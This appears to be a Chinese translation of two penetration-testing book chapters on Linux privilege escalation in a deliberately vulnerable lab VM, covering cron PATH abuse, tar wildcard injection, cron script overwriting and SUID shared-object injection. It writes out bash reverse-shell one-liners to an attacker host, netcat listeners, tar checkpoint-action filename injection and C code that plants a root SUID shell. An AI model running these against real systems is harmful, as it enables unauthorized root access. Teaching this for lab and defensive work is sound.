Cron 作业也可以作为系统中的任何用户运行。这是一个非常重要的因素，因为我们将关注那些被配置为以 root 用户身份运行的 cron 作业。主要原因是，任何由 cron 作业运行的脚本或命令都将作为 root 用户运行，因此为我们提供 root 访问权限。

现在您已经了解了 cron 作业是如何工作的以及如何配置它们，我们可以开始分析它们的配置错误，从而提升我们的权限。

在本章中，我们将使用我们在 第十一章 中设置的虚拟机，Linux 密码挖掘。这是因为该虚拟机已配置为易受攻击，并且有各种 cron 任务可以用来演示不同的权限提升技术。

通过 cron 路径提升权限

我们将探索的第一个权限提升技术是利用配置不当的 cron 路径。然而，在我们开始这一过程之前，让我们快速了解一下在目标系统上访问 crontab 文件的各种方法。

我们需要这样做的原因是，因为我们会遇到已经配置不同且可以访问 crontab 文件的系统，因此枚举系统上运行的 cron 任务在权限提升过程中至关重要。

如前节所示，您可以通过运行以下命令访问目标系统上的 crontab 文件：

crontab

如果管理员已限制对该工具的访问，则此命令可能不会返回任何结果。然而，您可以使用以下命令来枚举系统中活动的 cron 任务信息：

crontab -l

ls -alh /var/spool/cron;

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny*

访问此处列出的文件和目录应该能够提供有关系统中活动的 cron 任务的信息。

使用 linPEAS 进行枚举

我们还可以使用自动化工具枚举系统上运行的各种 cron 任务。这可以通过使用 linux-exploit-suggester 或其他枚举脚本和工具来完成。在本例中，我们将使用 linPEAS 脚本来枚举目标系统的信息。

注意

linPEAS 是一个本地 Linux 枚举脚本，用于搜索和扫描潜在的漏洞，并枚举所有可以用于进行权限提升攻击的系统重要信息。

linPEAS 二进制文件可以从以下 GitHub 仓库下载：github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS。

确保下载 linpeas.sh Bash 脚本，如下图所示：

图 12.4 – linPEAS Bash 脚本

下载 Bash 脚本到我们的 Kali 虚拟机后，我们需要将 linpeas.sh 文件传输到目标虚拟机。这不能自动完成，因为我们没有 Meterpreter 会话。因此，我们需要使用特定于 Linux 的实用程序来下载该二进制文件。

文件传输

要将linpeas.sh文件传输到目标系统，我们需要在 Kali VM 上设置一个 Web 服务器来托管该文件。这将允许我们在目标系统上下载该文件。可以按照以下步骤操作：

要在 Kali VM 上设置 Web 服务器，我们可以利用SimpleHTTPServer Python 模块来提供该二进制文件。可以通过在存储linpeas.sh二进制文件的目录中运行以下命令来完成此操作：

sudo python -m SimpleHTTPServer 80

注意

SimpleHTTPServer是一个适用于 Python 2 的 Python 模块，Python 3 中也有可用的http.server模块。

如下图所示，SimpleHTTPServer模块将会在 Kali VM 的 IP 地址上通过端口80提供该目录中的文件：

图 12.5 – SimpleHTTPServer linpeas
要在目标系统上下载linpeas.sh文件，我们可以利用wget工具。然而，在下载二进制文件之前，我们需要导航到一个具有读写权限的目录。在这种情况下，我们将导航到临时目录，如下图所示：

图 12.6 – Linux 临时目录
现在我们可以使用wget工具将文件从 Kali VM 下载到我们的目标系统。可以通过在目标系统上运行以下命令来完成此操作：

wget http://<KALI-VM-IP>/linpeas.sh

输出如下截图所示：

图 12.7 – wget linPEAS

如前面的截图所示，如果传输成功，linpeas.sh文件应已下载并保存为我们指定的文件名。

我们现在可以使用linpeas.sh脚本来列举目标系统上运行的各种 cron 作业。

使用 linPEAS 查找 cron 作业

linpeas.sh脚本列举了大量信息，并执行各种检查以发现目标系统上的潜在漏洞。我们可以使用linpeas.sh脚本列举并定位系统上运行的 cron 作业。可以按照以下步骤进行：

要列举所有重要的系统信息，我们需要运行linpeas.sh脚本。然而，在此之前，我们需要确保脚本具有可执行权限。可以通过在目标上运行以下命令来完成此操作：

chmod +x linpeas.sh

或者，你可以通过运行以下命令修改linpeas.sh脚本的权限：

chmod 775 linpeas.sh
现在我们可以通过在目标上运行以下命令来执行linpeas.sh脚本：

bash linpeas.sh

如下图所示，脚本将列举系统信息并显示系统上运行的 cron 作业列表，以及默认的$PATH变量：

图 12.8 – linPEAS cron 作业

在这种情况下，我们的目标正在以 root 用户身份运行两个 cron 作业，这些作业已配置为每 1 分钟运行一次。我们可以利用这些信息来识别在 cron 作业执行的脚本和命令中可能存在的特定配置错误。

现在我们已经能够列出目标系统上运行的各种 cron 作业，我们可以开始权限提升过程。

通过 cron 路径提升权限

这种特定的权限提升技术涉及识别为 cron 作业在 crontab 文件中配置的默认 $PATH 变量，生成有效负载，并将其放入路径中：

图 12.9 – PATH 变量

注意

$PATH 变量用于设置 cron 作业运行的默认路径，除非另有指定。

如前述截图所示，$PATH 变量已被设置为 user 账户的主目录。这意味着，默认情况下，所有的 cron 作业将从 user 账户的主目录运行，除非另有指定。

这可以被理解为一种配置错误，因为 user 账户可以访问 cron 作业使用的文件和脚本。我们可以通过识别利用存储在 user 账户主目录中的脚本或二进制文件的 cron 作业来利用这一配置错误。

分析 crontab 文件揭示了一个有趣的 cron 作业，该作业以 root 用户身份运行一个名为 overwrite.sh 的 Bash 脚本：

图 12.10 – 覆盖 cron 作业

如前述截图所示，cron 作业还已配置为每小时的每一分钟、每天、每月都执行一次。

现在我们已经识别出一个符合要求的 cron 作业，我们可以开始权限提升过程：

这个过程的第一步是定位并识别 cron 作业运行的 overwrite.sh 脚本的位置。我们已经能够确定 cron 作业使用的默认路径是 user 账户的主目录。我们可以通过运行以下命令来显示该目录的内容：

ls -al /home/user/

输出如下：

图 12.11 – 用户主目录

如前述截图所示，我们无法在 user 主目录中找到 overwrite.sh 脚本。这可能是因为 root 用户尚未创建该脚本。无论如何，我们可以自行创建该脚本，并通过 cron 作业以 root 用户身份执行该脚本，从而为我们提供反向 shell。
我们可以创建 overwrite.sh 脚本，并插入一个 Bash 命令，为我们提供反向 shell。可以通过在 user 主目录中运行以下命令来实现：

echo "bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1" > overwrite.sh

该命令将添加一个 bash 命令，连接到我们在 Kali Linux 虚拟机上的反向监听器。确保替换命令中的字段，填写相应的 IP 地址和端口号。

在运行上述命令后，overwrite.sh 文件应该已经创建，并且它应包含以下截图所示的命令：

图 12.12 – 覆盖文件

一旦我们创建了这个文件，我们需要使用 Netcat 设置一个反向监听器。
我们可以通过运行以下命令在 Kali 虚拟机上设置反向监听器：

nc -nvlp <PORT>

确保指定在 overwrite.sh 脚本中使用的端口。设置监听器后，我们需要等待几分钟，直到 cron 任务运行。

一旦 cron 任务被调用，overwrite.sh脚本将被执行。我们应该能在我们的监听器上获得一个带有 root 权限的反向 shell，如下图所示：

图 12.13 – 反向 shell

通过这种方式，我们成功地通过利用 crontab $PATH 变量中的配置错误提升了权限。这使我们能够执行一个自定义命令，从而在目标系统上获得一个提升的反向 shell。

通过 cron 通配符进行权限提升

该权限提升技巧涉及利用执行带有通配符的命令或脚本的 cron 任务。在 Linux 环境中，通配符（*****）用于一次执行多个操作，并且可以以多种不同方式使用。在本节中，我们将探讨如何在配置错误的情况下利用这些通配符来执行恶意命令或脚本。

重要提示

请注意，这一技巧的成功与否取决于 cron 任务中是否使用了通配符。

按照以下步骤操作：

这个过程的第一步是识别那些执行带有通配符的命令或脚本的 cron 任务。分析 crontab 文件时，发现了一个有趣的 cron 任务，负责创建和压缩备份归档文件：

图 12.14 – 备份 cron 任务

如上截图所示，cron 任务以 root 用户身份每分钟运行一次 /usr/local/bin 目录下的 compress.sh 脚本，并且每天、每小时、每月都会运行。
我们可以通过运行以下命令来显示compress.sh脚本的内容：

cat /usr/local/bin/compress.sh

输出如下：

图 12.15 – 显示 compress.sh 脚本的内容

如前面截图所示，我们可以确认脚本是从用户帐户的主目录执行的，且文件已使用tar工具进行压缩。然而，我们还可以发现tar命令的末尾有一个通配符（*）。这个通配符用于指定用户帐户主目录中的所有文件。
tar工具具有一个检查点功能，用于在特定文件集之后显示进度消息。它还允许用户定义在检查点期间执行的特定操作。我们可以利用此功能来执行一个反向 Shell 负载，在执行时为我们提供一个提升的会话。
我们可以创建反向 Shell 脚本，并插入一个bash命令，它将为我们提供反向 Shell。可以通过在用户的主目录中运行以下命令来实现：

echo 'bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1' > shell.sh

该命令将添加一个bash命令，它将连接到我们在 Kali Linux 虚拟机上的反向监听器。确保在命令中替换相应的 IP 地址和端口号。

运行上述命令后，应该已经创建了shell.sh文件，并且文件中应包含以下截图所示的命令：

](Images/B17389_12_016.jpg)

图 12.16 – Shell 脚本

现在我们已经创建了文件，需要使用 Netcat 设置反向监听器。
我们可以通过运行以下命令在 Kali 虚拟机上设置反向监听器：

nc -nvlp <PORT>

确保在shell.sh脚本中指定你使用的端口。
现在我们可以在用户帐户的主目录中设置tar检查点。这可以通过在目标系统上运行以下命令来实现：

touch /home/user/--checkpoint=1
设置好检查点后，我们需要设置检查点操作。在此案例中，我们的检查点操作将执行shell.sh脚本，它将为我们提供一个提升的反向 Shell。可以通过运行以下命令来实现：

touch /home/user/--checkpoint-action=exec=sh\ shell.sh

设置好tar检查点和检查点操作后，我们需要等待几分钟，直到 cron 作业被触发，此时我们应该会在 Netcat 监听器上收到一个提升的反向 Shell，如下图所示：

](Images/B17389_12_017.jpg)

图 12.17 – 反向 Shell

通过利用 cron 作业中错误使用通配符来执行反向 Shell 负载作为 root 用户，我们成功地提升了特权。

现在，让我们看看如何通过 cron 文件覆盖提升我们的特权。

通过 cron 文件覆盖进行特权提升

另一项我们可以利用的技术是覆盖 cron 作业使用的脚本内容来提升权限。在前面的章节中，我们探讨了如何利用错误配置的路径和使用通配符。然而，我们没有探讨如何通过覆盖脚本或文件的内容来提升权限。

注

这项技术的成功与可行性将取决于我们是否拥有修改或更改由 cron 作业执行的脚本或文件的必要权限。

这项技术可以通过以下步骤执行：

该过程的第一步是识别一个以 root 用户身份执行具有读写权限的脚本或二进制文件的 cron 作业。在这种情况下，我们可以识别一个运行overwrite.sh脚本的 cron 作业，如下图所示：

图 12.18 – 覆盖 cron 作业

我们在本章第二节中讨论了如何利用这个特定的 cron 作业，通过 cron 路径提升权限，在该节中，我们利用了错误配置的路径，允许我们创建一个自定义的overwrite.sh脚本，执行时提供提升权限的反向 shell。这是因为默认路径变量指定了user帐户的主目录作为 cron 作业的主目录。然而，如果在第一个目录中未找到overwrite.sh脚本，cron 将检查$PATH变量中指定的其他目录，正如以下截图所示：

图 12.19 – Crontab 路径
在这种情况下，我们未在user帐户的主目录中找到overwrite.sh脚本。因此，我们可以在$PATH变量中指定的其他目录中搜索该脚本。可以通过列出每个目录的内容来实现，如下所示：

ls -al /usr/local/bin | grep overwrite.sh

另外，你可以使用locate工具通过运行以下命令来搜索overwrite.sh脚本：

locate overwrite.sh

在这种情况下，我们将在/usr/local/bin目录下找到文件，正如以下截图所示：

图 12.20 – 定位脚本
下一步是识别overwrite.sh脚本的权限，以确定我们是否可以更改或覆盖脚本的内容。可以通过运行以下命令来实现：

ls -al /usr/local/bin | grep overwrite.sh

输出如下所示，见下图：

图 12.21 – 文件权限

在这种情况下，我们可以确定该脚本具有读写权限。因此，我们可以使用自己的命令对文件进行修改或覆盖。
现在，让我们在 overwrite.sh 脚本中添加一个 bash 命令，为我们提供一个反向 Shell。可以通过运行以下命令来实现：

echo "bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1" >> /usr/local/bin/overwrite.sh

该命令将附加一个 bash 命令，它将连接到我们在 Kali Linux 虚拟机上的反向监听器。请确保用相应的 IP 地址和端口号替换命令中的字段。

运行上述命令后，overwrite.sh 脚本应包含以下截图中所示的命令：

图 12.22 – overwrite.sh 脚本附加的命令
一旦我们附加了 bash 命令，我们需要使用 Netcat 设置一个反向监听器。

我们可以通过运行以下命令在 Kali 虚拟机上设置反向监听器：

nc -nvlp <PORT>

请确保指定您在 overwrite.sh 脚本中使用的端口。

在将 bash 命令附加到 overwrite.sh 脚本后，我们需要等待几分钟，以便 cron 作业被触发，之后我们应该会在 Netcat 监听器上收到一个提权的反向 Shell，如下图所示：

图 12.23 – 反向 Shell

通过这一操作，我们成功利用了配置错误的 cron 作业，提升了权限，并以 root 用户身份执行了反向 Shell 有效负载。

现在，您应该对如何枚举系统上运行的 cron 作业有了清晰的了解，并且掌握了如何通过多种技术手段利用这些作业提升权限。

总结

在本章中，我们首先研究了 cron 工具的工作原理和 crontab 文件的结构。然后，我们深入探讨了如何利用配置错误的 cron 路径。我们还探索了通过利用 cron 作业执行的脚本中的通配符来提升权限的过程。最后，我们通过研究如何通过 cron 文件覆盖提升权限结束了本章内容。

在下一章，我们将探讨如何利用 SUDO 和 SUID 二进制文件来提升我们的权限。

第十三章：利用 SUID 二进制文件

我们将通过探索在 Linux 上查找和利用 SUID 二进制文件的过程来结束 Linux 上的权限提升过程，这有助于提升目标系统的权限。

本章将从查看 Linux 上文件系统权限的工作原理开始，接下来我们将了解 SUID 权限的工作方式以及它们是如何应用的。然后我们将了解如何搜索和识别易受攻击或配置错误的 SUID 二进制文件，最后探讨可以利用配置不当的 SUID 二进制文件提升权限的各种技术。

在本章中，我们将涵盖以下主要内容：

Linux 文件系统权限简介
查找 SUID 二进制文件
通过共享对象注入提升权限

技术要求

要跟随本章中的演示，您需要确保熟悉 Linux 终端命令。

您可以在此查看本章代码的实际操作：bit.ly/39Kdn1t

Linux 文件系统权限简介

在我们开始探索利用 SUID 二进制文件提升权限的过程之前，我们需要简要了解 Linux 上的文件系统权限以及它们如何用于授予或限制对文件和目录的访问。这将为我们深入研究 SUID 二进制文件，它们是如何配置的以及如何利用它们提供帮助。

在 Linux 上，文件系统权限用于授予或限制对文件和目录的访问。这是一个非常有用的功能，因为它允许用户限制对特定文件或目录的访问，从而防止任何未经授权的访问。

我们可以通过运行以下命令列出文件或文件夹的权限：

ls -al

如下截图所示，此命令将输出目录中所有文件及其所有属性的列表，包括它们的访问权限和所有权详细信息：

图 13.1 – 文件权限

Linux 提供多用户支持。由于这一点，文件和数据的访问基于以下关键元素进行限制：

文件所有权：指拥有文件的特定用户或组。
访问权限：指用于允许或限制对特定文件的访问的具体权限。

每个 Linux 文件和目录都有一个所有者和特定的文件权限，用于防止未经认证或未经授权的访问。

就所有权而言，Linux 将文件所有权分为三个主要类别：

用户：用于指定文件的所有者。通常，文件的创建者成为文件的所有者。
组：这是用来指定文件的组所有权或访问权限，组内的所有用户将拥有相同的权限和对该文件的访问权限。只有该组的成员才能根据文件的访问权限读取、写入或执行文件。
其他：这是指系统中非文件所有者或不属于拥有文件所有权的组的其他用户的读、写或执行权限。

下图展示了 Linux 中文件所有权的分类，其中访问权限用于决定系统上特定文件的所有者、组和其他用户对该文件的访问权限类型：

图 13.2 – Linux 文件所有权

现在我们已经了解了文件所有权在 Linux 中的处理和实现方式，接下来我们来看看如何配置访问权限。

Linux 上的每个文件和目录都有特定的访问权限，用于决定该文件是否可以被读取、修改或执行。Linux 根据你希望提供给系统上用户和组的访问类型，将这些权限分为三类：

读取：此权限允许用户读取文件，用字母r表示。
写入：此权限允许用户修改或更改文件，用字母w表示。
执行：此权限允许用户执行或运行一个文件，并用字母x表示。

下图展示了系统中某个文件的所有者、组和其他用户的访问权限：

图 13.3 – 文件访问权限

在此示例中，文件的所有者具有读、写和执行权限，而组和其他用户仅具有读和执行权限，从而限制他们修改文件。

这个例子展示了 Linux 中文件所有权和访问权限的重要性，以及它们如何用于限制或授予对系统中文件和资源的访问。

更改权限

要更改文件和目录权限，我们可以使用chmod命令，简称为更改模式。

chmod 命令的语法可以通过多种格式定义，其中最常用的格式是符号模式格式。它为用户提供了一个简单易懂的语法，用于修改、设置和移除权限。下表展示了所有参数及其对应的功能：

让我们看看如何使用chmod修改文件和目录的权限。

我将使用一个简单的 Bash 脚本作为测试文件，演示权限如何影响访问。

如果我们想要给文件添加权限，我们可以使用 + 符号。让我们给脚本赋予可执行权限。我们可以通过以下语法来实现这一点：

chmod +x script.sh

如果我们想要给所有用户赋予可执行权限，我们可以使用以下命令：

chmod u+x script.sh

我们还可以在单个命令中使用多个权限，并使用逗号分隔选项。此命令将给组赋予可执行权限，并将所有用户和组赋予写权限：

chmod g+x, a+w script.sh

如果我们想要从文件中删除权限，我们可以使用 - 符号。此命令将删除所有用户的可执行权限。这将阻止脚本的执行：

chmod a-x script.sh

现在您已经对 Linux 上的文件系统权限工作原理有了功能性的理解，我们可以开始探讨 SUID 权限的工作方式及其用途。

理解 SUID 权限

除了三个主要的文件访问权限（读取、写入和执行）外，Linux 还为用户提供了特定情况下可用的专用权限。其中一个访问权限是 设置所有者用户 ID（SUID）权限。

应用此权限时，允许用户以文件所有者的权限执行脚本或二进制文件，而不是运行脚本或二进制文件的用户。

SUID 权限通常用于为非特权用户提供以 root 权限运行特定脚本或二进制文件的能力。然而，请注意，提供的提升权限仅限于执行脚本，并不转换为提升的权限。然而，如果它们没有被正确配置，非特权用户可以利用二进制文件或脚本中的配置错误或漏洞来获得提升的会话。

可以通过列出文件的相应所有权权限来轻松识别具有 SUID 访问权限的文件或二进制文件。如果应用于文件或二进制文件，执行权限（由字母 x 表示）将被替换为 SUID 权限，由字母 s 表示，如下面的截图所示：

图 13.4 – SUID 权限

如前面的截图所示，文件的所有者具有 SUID 访问权限，而组的成员和系统上的其他用户具有读取和执行权限，但没有写权限。在这种情况下，组的成员和系统上的其他用户将能够以 root 权限执行二进制文件，因为文件的所有者是 root 用户。

此权限非常有用，因为它为管理员提供了对文件或二进制文件的细粒度控制，可以控制谁可以访问它们，是否可以执行以及执行时的权限。

这是我们在本章中尝试利用的功能，以提升我们的权限。然而，正如你可能已经注意到的那样，我们攻击的成功将取决于以下因素：

SUID 二进制文件的所有者：考虑到我们尝试提升权限，我们只会利用 root 用户或其他特权用户拥有的 SUID 二进制文件。
访问权限：我们需要执行权限才能执行 SUID 二进制文件。

现在我们已经了解了 SUID 权限的工作原理，让我们来看一下如何在目标系统上搜索和识别 SUID 二进制文件。

搜索 SUID 二进制文件

在目标系统上搜索和识别 SUID 二进制文件的过程可以手动或自动执行。我们将分别介绍这两种方法，因为在某些限制性环境下，无法使用自动化工具时，手动搜索 SUID 二进制文件的技巧非常重要。

在本章中，我们将使用在 第十一章中设置的虚拟机，Linux 密码挖掘。

我们将首先学习如何通过利用内置的 Linux 工具手动搜索 SUID 二进制文件。

手动搜索 SUID 二进制文件

你可以通过使用 Linux 内置的 find 工具手动搜索 SUID 二进制文件。这使你能够在目标系统上搜索 SUID 二进制文件。为此，运行以下命令：

find / -type f -perm -u=s -ls 2>/dev/null

该命令将搜索具有 SUID 访问权限的文件，并显示每个文件或二进制文件的相应所有者。

如下图所示，我们可以识别出许多具有 SUID 权限的二进制文件。在这种情况下，它们都属于 root 用户：

图 13.5 – 手动搜索 SUID 二进制文件

下一步是识别可以被利用来提升权限的 SUID 二进制文件。然而，在我们这样做之前，我们需要探索自动化搜索 SUID 二进制文件的过程。

使用 linPEAS 搜索 SUID 二进制文件

我们可以通过使用自动化枚举工具来自动化搜索 SUID 二进制文件的过程。在这种情况下，我们将使用 linPEAS 脚本来枚举我们目标的信息。

注意

linPEAS 是一个本地 Linux 枚举脚本，用于搜索和扫描潜在的漏洞，同时列举所有可以用来进行权限提升攻击的重要系统信息。

linPEAS 二进制文件可以从以下 GitHub 仓库下载：github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS。

确保你下载了linpeas.sh Bash 脚本，如下截图所示：

](Images/B17389_13_006.jpg)

图 13.6 – linPEAS Bash 脚本

下载完 Bash 脚本到我们的 Kali 虚拟机后，我们需要将linpeas.sh文件传输到我们的目标虚拟机。由于没有 Meterpreter 会话，这不能自动完成。因此，我们需要使用 Linux 特定的工具来下载该二进制文件。

为了将linpeas.sh文件传输到我们的目标系统，我们需要在 Kali 虚拟机上设置一个 Web 服务器，用于托管该文件。这样，我们就可以在目标系统上下载它。可以通过以下步骤来完成：

为了在我们的 Kali 虚拟机上设置一个 Web 服务器，我们可以利用SimpleHTTPServer Python 模块来提供脚本。可以通过在存储linpeas.sh二进制文件的目录中运行以下命令来实现：

sudo python -m SimpleHTTPServer 80

注意

SimpleHTTPServer是一个适用于 Python2 的 Python 模块，对于 Python3，它也以http.server的形式提供。

如下截图所示，SimpleHTTPServer模块将在 Kali 虚拟机的 IP 地址上通过80端口提供该目录中的文件：

](Images/B17389_13_007.jpg)

图 13.7 – SimpleHTTPServer linpeas
为了在目标系统上下载linpeas.sh文件，我们可以使用wget工具。然而，在下载该二进制文件之前，我们需要导航到一个有读写权限的目录。在这种情况下，我们将导航到临时目录，如下截图所示：

](Images/B17389_13_008.jpg)

图 13.8 – Linux 临时目录
我们现在可以使用wget工具从 Kali 虚拟机下载文件到我们的目标系统。可以通过在目标系统上运行以下命令来实现：

wget http://<KALI-VM-IP>/linpeas.sh

输出如下所示：

图 13.9 – wget linpeas

如前面的截图所示，如果传输成功，linpeas.sh文件应该已经下载并保存为我们指定的名称。

linpeas.sh脚本枚举了大量信息，并将执行各种检查以发现目标系统的潜在漏洞。我们可以使用linpeas.sh脚本来枚举并定位目标系统上的 SUID 二进制文件。

要枚举所有重要的系统信息，我们需要运行linpeas.sh脚本。但是，在此之前，我们需要确保脚本具有可执行权限。可以通过在目标系统上运行以下命令来实现：

chmod +x linpeas.sh

现在，我们可以通过在目标系统上运行以下命令来运行linpeas.sh脚本：

./linpeas.sh

如下图所示，脚本将枚举系统信息并显示目标系统上 SUID 二进制文件的列表：

](Images/B17389_13_010.jpg)

图 13.10 – linPEAS SUID 二进制文件

在这种情况下，我们可以识别出与手动搜索中找到的 SUID 二进制文件相同的文件。然而，linPEAS 还为我们提供了每个 SUID 二进制文件的潜在漏洞信息，这些漏洞可以被利用。在本章的后续部分，这些信息将非常有用。

现在我们已经能够搜索并识别目标系统上的所有 SUID 二进制文件，我们可以开始探索识别易受攻击且可以被利用的 SUID 二进制文件的过程。

识别易受攻击的 SUID 二进制文件

识别可以用来提升我们权限的易受攻击的 SUID 二进制文件可能是一个非常手动的过程，并且因系统而异，具体取决于可用的 SUID 文件。然而，我们可以通过利用名为 GTFOBins 的资源来简化这个过程。

GTFOBins 是一个经过精心策划的 Unix 二进制文件列表，可以利用这些文件绕过本地安全限制，在我们的案例中，用于提升我们的权限。

更多关于 GTFOBins 的信息可以在此找到：gtfobins.github.io/。

我们可以使用 GTFOBins 网站上提供的信息来识别目标系统上的可被利用的二进制文件，以提升我们的权限。

GTFOBins 网站有一个专门的 SUID 类别，为我们提供了一份包含易受攻击的 SUID 二进制文件的列表，可以通过点击 SUID 类别访问，如以下截图所示：

图 13.11 – GTFOBins SUID 类别

SUID 类别将为你提供一个按字母顺序排列的易受攻击的 SUID 二进制文件及其相应功能的列表，如以下截图所示：

](Images/B17389_13_012.jpg)

图 13.12 – GTFOBins 易受攻击的 SUID 二进制文件

我们可以使用这份易受攻击的 SUID 二进制文件列表，来识别与目标系统上 SUID 二进制文件的潜在匹配项。然而，在我们的案例中，我们未能识别出任何匹配项。因此，我们将需要分析目标系统上的 SUID 二进制文件，以识别可能存在的漏洞，这些漏洞可以被利用。

此外，请注意，在以后的评估中不要忽视 GTFOBins 资源，因为你可能会遇到某些目标系统，其中确实存在可以被利用的易受攻击的 SUID 二进制文件。

在这种情况下，我们将不得不采取更为手动的方法，这需要分析目标系统上的 SUID 二进制文件。

通过共享对象注入进行权限提升

在前一节中，搜索 SUID 二进制文件，我们使用 linPEAS 识别了目标系统上的 SUID 二进制文件。然而，除了列出 SUID 二进制文件，linPEAS 还对这些 SUID 二进制文件执行了额外的漏洞检查，以确定它们是否可以被利用。

详细分析 linPEAS 的结果显示，linPEAS 执行并使用strace工具检查二进制文件，以识别二进制文件所使用的共享对象。

注意

strace是一个 Linux 工具，用于监视和调试应用程序及进程，以及它们与 Linux 内核的交互。

linPEAS 通过strace运行每个 SUID 二进制文件，以识别二进制文件使用的共享对象，并列出它们的各自位置，如下图所示：

图 13.13 – linPEAS 共享对象

如前面的截图所示，我们可以将suid-so二进制文件识别为潜在的目标，因为它使用了几个在目标系统上不存在的共享对象。然而，有一个特定的共享对象文件应该引起你的注意：suid-so二进制文件使用了一个名为libcalc.so的共享对象，该共享对象存储在user账户的主目录中。

注意

共享对象是 Linux 中相当于 Windows 中的动态链接库（DLLs），用于为 Linux 应用程序提供额外的功能。

由于我们目前是以user账户登录到目标系统，我们应该能够修改 SUID 二进制文件正在使用的共享库，从而执行任意命令。在我们的例子中，当执行suid-so二进制文件时，这将为我们提供一个提升的会话。

这种攻击方式与 Windows 的 DLL 注入技术非常相似，我们用一个修改过的 DLL 替换了目标 DLL，当目标服务执行时，这个修改过的 DLL 为我们提供了一个提升的反向 Shell。

在我们开始利用阶段之前，应该通过执行suid-so二进制文件来分析它的作用，因为该二进制文件存储在/usr/local/bin目录中。我们可以通过运行以下命令直接执行它：

suid-so

运行该二进制文件没有揭示出任何有用的信息，因为它仅仅执行一个计算并提供计算的进度条，如下图所示：

图 13.14 – 执行 SUID 二进制文件

另外，我们可以手动使用strace工具分析二进制文件使用了哪些共享对象，而不是使用自动化工具。可以通过运行以下命令来实现：

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

此命令将使用strace实用程序运行suid-so二进制文件，并使用 grep 限制strace产生的输出，这将确保仅显示二进制文件使用的共享对象：

图 13.15 – 使用 strace SUID 二进制文件的共享对象

如前述截图中所示，我们可以在用户帐户的主目录中找到libcal.so共享对象，就像我们使用 linPEAS 脚本时一样。

我们还可以通过使用内置的strings实用程序在二进制文件中搜索有用的字符串。可以通过运行以下命令来完成此操作：

strings /usr/local/bin/suid-so

如下截图所示，strings实用程序将输出在suid-so二进制文件中找到的字符串列表：

图 13.16 – 查找有用的字符串

在这种情况下，我们可以确定应用程序在用户帐户的主目录中使用了libcalc.so共享对象。如果您无法访问strace实用程序或任何自动枚举脚本（如 linPEAS），strings实用程序可能非常有用。

现在，我们对suid-so二进制文件的功能有了一个概念，知道它使用了哪些共享对象，并且已经确定了一个存在漏洞的共享对象，我们可以开始特权提升过程。

可以按照以下步骤执行特权提升过程：

在此过程中的第一步涉及检查libcalc.so文件是否存在。可以通过列出用户帐户的主目录内容来完成此操作：

ls -al /home/user/

如下截图所示，用户帐户的主目录中不包含.config目录，其中包含libcalc.so共享对象文件。因此，我们需要自己创建.config目录并编译共享对象文件：

图 13.17 – 用户的主目录
运行以下命令可以在用户帐户的主目录中创建.config目录：

mkdir /home/user/.config

创建完.config目录后，需要创建libcalc.c文件。可以通过运行以下命令来完成此操作：

touch /home/user/.config/libcalc.c
下一步涉及将我们的自定义 C 代码添加到我们将要编译的libcalc.c文件中。使用你选择的终端文本编辑器打开刚刚创建的libcalc.c文件。在我的情况下，我将使用 VIM 并添加以下 C 代码：

include <stdio.h>

include <stdlib.h>

static void inject() attribute((constructor));

void inject() {

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}

这段 C 代码利用了一个名为inject的自定义函数，该函数运行一个系统命令，将 Bash 二进制文件复制到 Linux 的temp目录。完成这一步后，它会为 Bash 二进制文件赋予 SUID 权限，并从temp目录执行它。由于suid-so二进制文件以 root 用户身份运行，并调用libcalc.so共享库，自定义的libcalc.so共享库文件也会以 root 权限执行，从而为我们提供提升的 Bash 会话。

注意

你还可以在libcalc.c中使用你自己的 C 反向 Shell 代码，它将连接到反向监听器，并为你提供一个提升的反向 Shell。

一旦你添加了自定义代码，确保按照以下截图所示正确缩进：

图 13.18 – 自定义的 libcalc.c 代码

在按要求缩进并格式化代码后，确保保存代码再继续。现在，我们需要编译libcalc.c文件，以便获得libcalc.so共享库文件。
我们可以通过运行以下命令用Gnu C Compiler（GCC）编译自定义的libcalc.c文件：

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

这个命令将编译自定义的libcalc.c文件，并为我们提供自定义的libcalc.so共享库文件，从而为我们提供提升的会话。

注意

在用 GNU C 编译器(gcc)编译自定义代码时，我们使用了-fPIC标志，这可以确保我们的共享库中的代码是位置无关的，并且可以在内存中的任何地址加载。

编译libcalc.c文件后，你现在应该在user账户的主目录中拥有自定义的libcalc.so文件，如下图所示：

图 13.19 – 编译后的 libcalc.so 共享库

现在我们已经准备好了自定义的libcalc.so共享文件，我们可以执行suid-so二进制文件。
要执行自定义的libcalc.so共享库文件，我们需要执行suid-so二进制文件。这可以通过运行以下命令来完成：

suid-so

如果你按照前面的步骤正确操作，运行suid-so二进制文件应该会为你提供一个 Bash 会话，如下图所示：

图 13.20 – Bash 会话
我们可以通过运行以下命令来确认自己是否已经获得 root 权限的提升会话：

id

另外，你也可以通过运行以下命令来确定你当前登录的用户：

whoami

如下图所示，我们应该以 root 用户身份拥有提升的会话：

图 13.21 – 提升的 Bash 会话

在这过程中，我们成功地通过利用配置不当的 SUID 二进制文件来提升权限，该文件使用了存储在一个非特权用户账户主目录中的共享对象文件。

可以使用多种技术来利用 SUID 二进制文件。然而，过程中最重要的因素是彻底地枚举和收集目标 SUID 的尽可能多的信息，然后分析这些信息以查找潜在的配置错误或漏洞。这个过程因目标而异，因此需要敏锐的眼光和系统的方法来帮助识别 SUID 二进制文件中的配置错误或漏洞。

总结

在本章中，我们首先了解了 Linux 上的文件系统权限如何工作以及如何使用 SUID 权限。然后我们深入探讨了如何手动和自动地搜索和识别目标系统上的 SUID 二进制文件。我们还简要地介绍了识别易受攻击的 SUID 二进制文件的过程，然后讨论了如何通过利用配置错误的 SUID 二进制文件来提升权限。

如果你已经读到这里，恭喜你！你现在应该能够熟练地利用各种漏洞来提升 Windows 和 Linux 系统上的权限。

如果这是你首次接触权限提升的过程，你现在应该具备了识别和利用目标系统漏洞来提升权限所需的技能。

